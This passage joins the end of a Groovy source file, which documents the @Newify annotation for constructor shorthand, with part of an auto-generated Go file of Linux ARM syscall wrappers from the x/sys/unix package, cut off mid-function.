like this ("Python-style"): * <pre> * {@code @Newify([Tree,Leaf])} class MyTreeProcessor { * def myTree = Tree(Tree(Leaf("A"), Leaf("B")), Leaf("C")) * def process() { ... } * } * </pre> * or this ("Ruby-style"): * <pre> * {@code @Newify} class MyTreeProcessor { * def myTree = Tree.new(Tree.new(Leaf.new("A"), Leaf.new("B")), Leaf.new("C")) * def process() { ... } * } * </pre> * * After the AST transformation, the following code is passed on for further compilation: * <pre> * class MyTreeProcessor { * def myTree = new Tree(new Tree(new Leaf("A"), new Leaf("B")), new Leaf("C")) * def process() { ... } * } * </pre> * The annotation can be used on a whole class as shown above or selectively on a particular * method, constructor or field. * <p> * The "Ruby-style" new conversions occur automatically unless the 'auto=false' * flag is given when using the annotation. You might do this if you create a new method * using meta programming. * <p> * The "Python-style" conversions require you to specify each class on which you want them * to apply. The transformation then works by matching the basename of the provided classes to any * similarly named instance method calls not specifically bound to an object, i.e. associated * with the 'this' object. In other words <code>Leaf("A")</code> would be transformed to * <code>new Leaf("A")</code> but <code>x.Leaf("A")</code> would not be touched. * <p> * An example showing how to use the annotation at different levels: * <pre> * {@code @Newify(auto=false, value=Foo)} * class Main { * {@code @Newify} // turn auto on for field * def field1 = java.math.BigInteger.new(42) * def field2, field3, field4 * * {@code @Newify(Bar)} * def process() { * field2 = Bar("my bar") * } * * {@code @Newify(Baz)} * Main() { * field3 = Foo("my foo") * field4 = Baz("my baz") * } * } * </pre> * * The annotation is intended to be used sparingly; perhaps in DSL scenarios or when * using deeply nested structural types. In particular, there is no support for using * the facility with two similarly named classes from different packages at the same time. * Though it is OK to have different packages in different contexts. Also, there is * no support for turning "Ruby-style" conversions off at the method, constructor or * field level if already turned on at the class level. * * @author Paul King */ @java.lang.annotation.Documented @Retention(RetentionPolicy.SOURCE) @Target({ElementType.CONSTRUCTOR, ElementType.METHOD, ElementType.TYPE, ElementType.FIELD, ElementType.LOCAL_VARIABLE}) @GroovyASTTransformationClass("org.codehaus.groovy.transform.NewifyASTTransformation") public @interface Newify { Class[] value(); /** * @return if automatic conversion of "Ruby-style" new method calls should occur */ boolean auto() default true; }
{ "pile_set_name": "Github" }
// go run mksyscall.go -l32 -arm -tags linux,arm syscall_linux.go syscall_linux_arm.go // Code generated by the command above; see README.md. DO NOT EDIT. // +build linux,arm package unix import ( "syscall" "unsafe" ) var _ syscall.Errno // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func FanotifyInit(flags uint, event_f_flags uint) (fd int, err error) { r0, _, e1 := Syscall(SYS_FANOTIFY_INIT, uintptr(flags), uintptr(event_f_flags), 0) fd = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func fanotifyMark(fd int, flags uint, mask uint64, dirFd int, pathname *byte) (err error) { _, _, e1 := Syscall6(SYS_FANOTIFY_MARK, uintptr(fd), uintptr(flags), uintptr(mask), uintptr(mask>>32), uintptr(dirFd), uintptr(unsafe.Pointer(pathname))) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func fchmodat(dirfd int, path string, mode uint32) (err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } _, _, e1 := Syscall(SYS_FCHMODAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode)) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func ioctl(fd int, req uint, arg uintptr) (err error) { _, _, e1 := Syscall(SYS_IOCTL, uintptr(fd), uintptr(req), uintptr(arg)) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Linkat(olddirfd int, oldpath string, newdirfd int, newpath string, flags int) (err error) { var _p0 *byte _p0, err = BytePtrFromString(oldpath) if err != nil { return } var _p1 *byte _p1, err = BytePtrFromString(newpath) if err != nil { return } _, _, e1 := Syscall6(SYS_LINKAT, uintptr(olddirfd), uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)), uintptr(flags), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func openat(dirfd int, path string, flags int, mode uint32) (fd int, err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } r0, _, e1 := Syscall6(SYS_OPENAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(flags), uintptr(mode), 0, 0) fd = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func ppoll(fds *PollFd, nfds int, timeout *Timespec, sigmask *Sigset_t) (n int, err error) { r0, _, e1 := Syscall6(SYS_PPOLL, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(unsafe.Pointer(timeout)), uintptr(unsafe.Pointer(sigmask)), 0, 0) n = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Readlinkat(dirfd int, path string, buf []byte) (n int, err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } var _p1 unsafe.Pointer if len(buf) > 0 { _p1 = unsafe.Pointer(&buf[0]) } else { _p1 = unsafe.Pointer(&_zero) } r0, _, e1 := Syscall6(SYS_READLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(buf)), 0, 0) n = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Symlinkat(oldpath string, newdirfd int, newpath string) (err error) { var _p0 *byte _p0, err = BytePtrFromString(oldpath) if err != nil { return } var _p1 *byte _p1, err = BytePtrFromString(newpath) if err != nil { return } _, _, e1 := Syscall(SYS_SYMLINKAT, uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1))) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Unlinkat(dirfd int, path string, flags int) (err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } _, _, e1 := Syscall(SYS_UNLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(flags)) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func utimensat(dirfd int, path string, times *[2]Timespec, flags int) (err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } _, _, e1 := Syscall6(SYS_UTIMENSAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)), uintptr(flags), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Getcwd(buf []byte) (n int, err error) { var _p0 unsafe.Pointer if len(buf) > 0 { _p0 = unsafe.Pointer(&buf[0]) } else { _p0 = unsafe.Pointer(&_zero) } r0, _, e1 := Syscall(SYS_GETCWD, uintptr(_p0), uintptr(len(buf)), 0) n = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func wait4(pid int, wstatus *_C_int, options int, rusage *Rusage) (wpid int, err error) { r0, _, e1 := Syscall6(SYS_WAIT4, uintptr(pid), uintptr(unsafe.Pointer(wstatus)), uintptr(options), uintptr(unsafe.Pointer(rusage)), 0, 0) wpid = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func KeyctlInt(cmd int, arg2 int, arg3 int, arg4 int, arg5 int) (ret int, err error) { r0, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), uintptr(arg3), uintptr(arg4), uintptr(arg5), 0) ret = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func KeyctlBuffer(cmd int, arg2 int, buf []byte, arg5 int) (ret int, err error) { var _p0 unsafe.Pointer if len(buf) > 0 { _p0 = unsafe.Pointer(&buf[0]) } else { _p0 = unsafe.Pointer(&_zero) } r0, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), uintptr(_p0), uintptr(len(buf)), uintptr(arg5), 0) ret = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func keyctlJoin(cmd int, arg2 string) (ret int, err error) { var _p0 *byte _p0, err = BytePtrFromString(arg2) if err != nil { return } r0, _, e1 := Syscall(SYS_KEYCTL, uintptr(cmd), uintptr(unsafe.Pointer(_p0)), 0) ret = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func keyctlSearch(cmd int, arg2 int, arg3 string, arg4 string, arg5 int) (ret int, err error) { var _p0 *byte _p0, err = BytePtrFromString(arg3) if err != nil { return } var _p1 *byte _p1, err = BytePtrFromString(arg4) if err != nil { return } r0, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(arg5), 0) ret = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func keyctlIOV(cmd int, arg2 int, payload []Iovec, arg5 int) (err error) { var _p0 unsafe.Pointer if len(payload) > 0 { _p0 = unsafe.Pointer(&payload[0]) } else { _p0 = unsafe.Pointer(&_zero) } _, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), uintptr(_p0), uintptr(len(payload)), uintptr(arg5), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func keyctlDH(cmd int, arg2 *KeyctlDHParams, buf []byte) (ret int, err error) { var _p0 unsafe.Pointer if len(buf) > 0 { _p0 = unsafe.Pointer(&buf[0]) } else { _p0 = unsafe.Pointer(&_zero) } r0, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(unsafe.Pointer(arg2)), uintptr(_p0), uintptr(len(buf)), 0, 0) ret = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func keyctlRestrictKeyringByType(cmd int, arg2 int, keyType string, restriction string) (err error) { var _p0 *byte _p0, err = BytePtrFromString(keyType) if err != nil { return } var _p1 *byte _p1, err = BytePtrFromString(restriction) if err != nil { return } _, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func keyctlRestrictKeyring(cmd int, arg2 int) (err error) { _, _, e1 := Syscall(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func ptrace(request int, pid int, addr uintptr, data uintptr) (err error) { _, _, e1 := Syscall6(SYS_PTRACE, uintptr(request), uintptr(pid), uintptr(addr), uintptr(data), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func reboot(magic1 uint, magic2 uint, cmd int, arg string) (err error) { var _p0 *byte _p0, err = BytePtrFromString(arg) if err != nil { return } _, _, e1 := Syscall6(SYS_REBOOT, uintptr(magic1), uintptr(magic2), uintptr(cmd), uintptr(unsafe.Pointer(_p0)), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func mount(source string, target string, fstype string, flags uintptr, data *byte) (err error) { var _p0 *byte _p0, err = BytePtrFromString(source) if err != nil { return } var _p1 *byte _p1, err = BytePtrFromString(target) if err != nil { return } var _p2 *byte _p2, err = BytePtrFromString(fstype) if err != nil { return } _, _, e1 := Syscall6(SYS_MOUNT, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(unsafe.Pointer(_p2)), uintptr(flags), uintptr(unsafe.Pointer(data)), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Acct(path string) (err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } _, _, e1 := Syscall(SYS_ACCT, uintptr(unsafe.Pointer(_p0)), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func AddKey(keyType string, description string, payload []byte, ringid int) (id int, err error) { var _p0 *byte _p0, err = BytePtrFromString(keyType) if err != nil { return } var _p1 *byte _p1, err = BytePtrFromString(description) if err != nil { return } var _p2 unsafe.Pointer if len(payload) > 0 { _p2 = unsafe.Pointer(&payload[0]) } else { _p2 = unsafe.Pointer(&_zero) } r0, _, e1 := Syscall6(SYS_ADD_KEY, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(payload)), uintptr(ringid), 0) id = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Adjtimex(buf *Timex) (state int, err error) { r0, _, e1 := Syscall(SYS_ADJTIMEX, uintptr(unsafe.Pointer(buf)), 0, 0) state = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Capget(hdr *CapUserHeader, data *CapUserData) (err error) { _, _, e1 := Syscall(SYS_CAPGET, uintptr(unsafe.Pointer(hdr)), uintptr(unsafe.Pointer(data)), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Capset(hdr *CapUserHeader, data *CapUserData) (err error) { _, _, e1 := Syscall(SYS_CAPSET, uintptr(unsafe.Pointer(hdr)), uintptr(unsafe.Pointer(data)), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Chdir(path string) (err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } _, _, e1 := Syscall(SYS_CHDIR, uintptr(unsafe.Pointer(_p0)), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Chroot(path string) (err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } _, _, e1 := Syscall(SYS_CHROOT, uintptr(unsafe.Pointer(_p0)), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func ClockGetres(clockid int32, res *Timespec) (err error) { _, _, e1 := Syscall(SYS_CLOCK_GETRES, uintptr(clockid), uintptr(unsafe.Pointer(res)), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func ClockGettime(clockid int32, time *Timespec) (err error) { _, _, e1 := Syscall(SYS_CLOCK_GETTIME, uintptr(clockid), uintptr(unsafe.Pointer(time)), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func ClockNanosleep(clockid int32, flags int, request *Timespec, remain *Timespec) (err error) { _, _, e1 := Syscall6(SYS_CLOCK_NANOSLEEP, uintptr(clockid), uintptr(flags), uintptr(unsafe.Pointer(request)), uintptr(unsafe.Pointer(remain)), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Close(fd int) (err error) { _, _, e1 := Syscall(SYS_CLOSE, uintptr(fd), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func CopyFileRange(rfd int, roff *int64, wfd int, woff *int64, len int, flags int) (n int, err error) { r0, _, e1 := Syscall6(SYS_COPY_FILE_RANGE, uintptr(rfd), uintptr(unsafe.Pointer(roff)), uintptr(wfd), uintptr(unsafe.Pointer(woff)), uintptr(len), uintptr(flags)) n = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func DeleteModule(name string, flags int) (err error) { var _p0 *byte _p0, err = BytePtrFromString(name) if err != nil { return } _, _, e1 := Syscall(SYS_DELETE_MODULE, uintptr(unsafe.Pointer(_p0)), uintptr(flags), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Dup(oldfd int) (fd int, err error) { r0, _, e1 := Syscall(SYS_DUP, uintptr(oldfd), 0, 0) fd = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Dup3(oldfd int, newfd int, flags int) (err error) { _, _, e1 := Syscall(SYS_DUP3, uintptr(oldfd), uintptr(newfd), uintptr(flags)) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func EpollCreate1(flag int) (fd int, err error) { r0, _, e1 := RawSyscall(SYS_EPOLL_CREATE1, uintptr(flag), 0, 0) fd = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func EpollCtl(epfd int, op int, fd int, event *EpollEvent) (err error) { _, _, e1 := RawSyscall6(SYS_EPOLL_CTL, uintptr(epfd), uintptr(op), uintptr(fd), uintptr(unsafe.Pointer(event)), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Eventfd(initval uint, flags int) (fd int, err error) { r0, _, e1 := Syscall(SYS_EVENTFD2, uintptr(initval), uintptr(flags), 0) fd = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Exit(code int) { SyscallNoError(SYS_EXIT_GROUP, uintptr(code), 0, 0) return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Fallocate(fd int, mode uint32, off int64, len int64) (err error) { _, _, e1 := Syscall6(SYS_FALLOCATE, uintptr(fd), uintptr(mode), uintptr(off), uintptr(off>>32), uintptr(len), uintptr(len>>32)) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Fchdir(fd int) (err error) { _, _, e1 := Syscall(SYS_FCHDIR, uintptr(fd), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Fchmod(fd int, mode uint32) (err error) { _, _, e1 := Syscall(SYS_FCHMOD, uintptr(fd), uintptr(mode), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Fchownat(dirfd int, path string, uid int, gid int, flags int) (err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } _, _, e1 := Syscall6(SYS_FCHOWNAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid), uintptr(flags), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func fcntl(fd int, cmd int, arg int) (val int, err error) { r0, _, e1 := Syscall(SYS_FCNTL, uintptr(fd), uintptr(cmd), uintptr(arg)) val = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Fdatasync(fd int) (err error) { _, _, e1 := Syscall(SYS_FDATASYNC, uintptr(fd), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Fgetxattr(fd int, attr string, dest []byte) (sz int, err error) { var _p0 *byte _p0, err = BytePtrFromString(attr) if err != nil { return } var _p1 unsafe.Pointer if len(dest) > 0 { _p1 = unsafe.Pointer(&dest[0]) } else { _p1 = unsafe.Pointer(&_zero) } r0, _, e1 := Syscall6(SYS_FGETXATTR, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(dest)), 0, 0) sz = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func FinitModule(fd int, params string, flags int) (err error) { var _p0 *byte _p0, err = BytePtrFromString(params) if err != nil { return } _, _, e1 := Syscall(SYS_FINIT_MODULE, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(flags)) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Flistxattr(fd int, dest []byte) (sz int, err error) { var _p0 unsafe.Pointer if len(dest) > 0 { _p0 = unsafe.Pointer(&dest[0]) } else { _p0 = unsafe.Pointer(&_zero) } r0, _, e1 := Syscall(SYS_FLISTXATTR, uintptr(fd), uintptr(_p0), uintptr(len(dest))) sz = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Flock(fd int, how int) (err error) { _, _, e1 := Syscall(SYS_FLOCK, uintptr(fd), uintptr(how), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Fremovexattr(fd int, attr string) (err error) { var _p0 *byte _p0, err = BytePtrFromString(attr) if err != nil { return } _, _, e1 := Syscall(SYS_FREMOVEXATTR, uintptr(fd), uintptr(unsafe.Pointer(_p0)), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Fsetxattr(fd int, attr string, dest []byte, flags int) (err error) { var _p0 *byte _p0, err = BytePtrFromString(attr) if err != nil { return } var _p1 unsafe.Pointer if len(dest) > 0 { _p1 = unsafe.Pointer(&dest[0]) } else { _p1 = unsafe.Pointer(&_zero) } _, _, e1 := Syscall6(SYS_FSETXATTR, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(dest)), uintptr(flags), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Fsync(fd int) (err error) { _, _, e1 := Syscall(SYS_FSYNC, uintptr(fd), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Getdents(fd int, buf []byte) (n int, err error) { var _p0 unsafe.Pointer if len(buf) > 0 { _p0 = unsafe.Pointer(&buf[0]) } else { _p0 = unsafe.Pointer(&_zero) } r0, _, e1 := Syscall(SYS_GETDENTS64, uintptr(fd), uintptr(_p0), uintptr(len(buf))) n = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Getpgid(pid int) (pgid int, err error) { r0, _, e1 := RawSyscall(SYS_GETPGID, uintptr(pid), 0, 0) pgid = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Getpid() (pid int) { r0, _ := RawSyscallNoError(SYS_GETPID, 0, 0, 0) pid = int(r0) return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Getppid() (ppid int) { r0, _ := RawSyscallNoError(SYS_GETPPID, 0, 0, 0) ppid = int(r0) return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Getpriority(which int, who int) (prio int, err error) { r0, _, e1 := Syscall(SYS_GETPRIORITY, uintptr(which), uintptr(who), 0) prio = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Getrandom(buf []byte, flags int) (n int, err error) { var _p0 unsafe.Pointer if len(buf) > 0 { _p0 = unsafe.Pointer(&buf[0]) } else { _p0 = unsafe.Pointer(&_zero) } r0, _, e1 := Syscall(SYS_GETRANDOM, uintptr(_p0), uintptr(len(buf)), uintptr(flags)) n = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Getrusage(who int, rusage *Rusage) (err error) { _, _, e1 := RawSyscall(SYS_GETRUSAGE, uintptr(who), uintptr(unsafe.Pointer(rusage)), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Getsid(pid int) (sid int, err error) { r0, _, e1 := RawSyscall(SYS_GETSID, uintptr(pid), 0, 0) sid = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Gettid() (tid int) { r0, _ := RawSyscallNoError(SYS_GETTID, 0, 0, 0) tid = int(r0) return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Getxattr(path string, attr string, dest []byte) (sz int, err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } var _p1 *byte _p1, err = BytePtrFromString(attr) if err != nil { return } var _p2 unsafe.Pointer if len(dest) > 0 { _p2 = unsafe.Pointer(&dest[0]) } else { _p2 = unsafe.Pointer(&_zero) } r0, _, e1 := Syscall6(SYS_GETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(dest)), 0, 0) sz = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func InitModule(moduleImage []byte, params string) (err error) { var _p0 unsafe.Pointer if len(moduleImage) > 0 { _p0 = unsafe.Pointer(&moduleImage[0]) } else { _p0 = unsafe.Pointer(&_zero) } var _p1 *byte _p1, err = BytePtrFromString(params) if err != nil { return } _, _, e1 := Syscall(SYS_INIT_MODULE, uintptr(_p0), uintptr(len(moduleImage)), uintptr(unsafe.Pointer(_p1))) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func InotifyAddWatch(fd int, pathname string, mask uint32) (watchdesc int, err error) { var _p0 *byte _p0, err = BytePtrFromString(pathname) if err != nil { return } r0, _, e1 := Syscall(SYS_INOTIFY_ADD_WATCH, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(mask)) watchdesc = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func InotifyInit1(flags int) (fd int, err error) { r0, _, e1 := RawSyscall(SYS_INOTIFY_INIT1, uintptr(flags), 0, 0) fd = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func InotifyRmWatch(fd int, watchdesc uint32) (success int, err error) { r0, _, e1 := RawSyscall(SYS_INOTIFY_RM_WATCH, uintptr(fd), uintptr(watchdesc), 0) success = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Kill(pid int, sig syscall.Signal) (err error) { _, _, e1 := RawSyscall(SYS_KILL, uintptr(pid), uintptr(sig), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Klogctl(typ int, buf []byte) (n int, err error) { var _p0 unsafe.Pointer if len(buf) > 0 { _p0 = unsafe.Pointer(&buf[0]) } else { _p0 = unsafe.Pointer(&_zero) } r0, _, e1 := Syscall(SYS_SYSLOG, uintptr(typ), uintptr(_p0), uintptr(len(buf))) n = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Lgetxattr(path string, attr string, dest []byte) (sz int, err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } var _p1 *byte _p1, err = BytePtrFromString(attr) if err != nil { return } var _p2 unsafe.Pointer if len(dest) > 0 { _p2 = unsafe.Pointer(&dest[0]) } else { _p2 = unsafe.Pointer(&_zero) } r0, _, e1 := Syscall6(SYS_LGETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(dest)), 0, 0) sz = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Listxattr(path string, dest []byte) (sz int, err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } var _p1 unsafe.Pointer if len(dest) > 0 { _p1 = 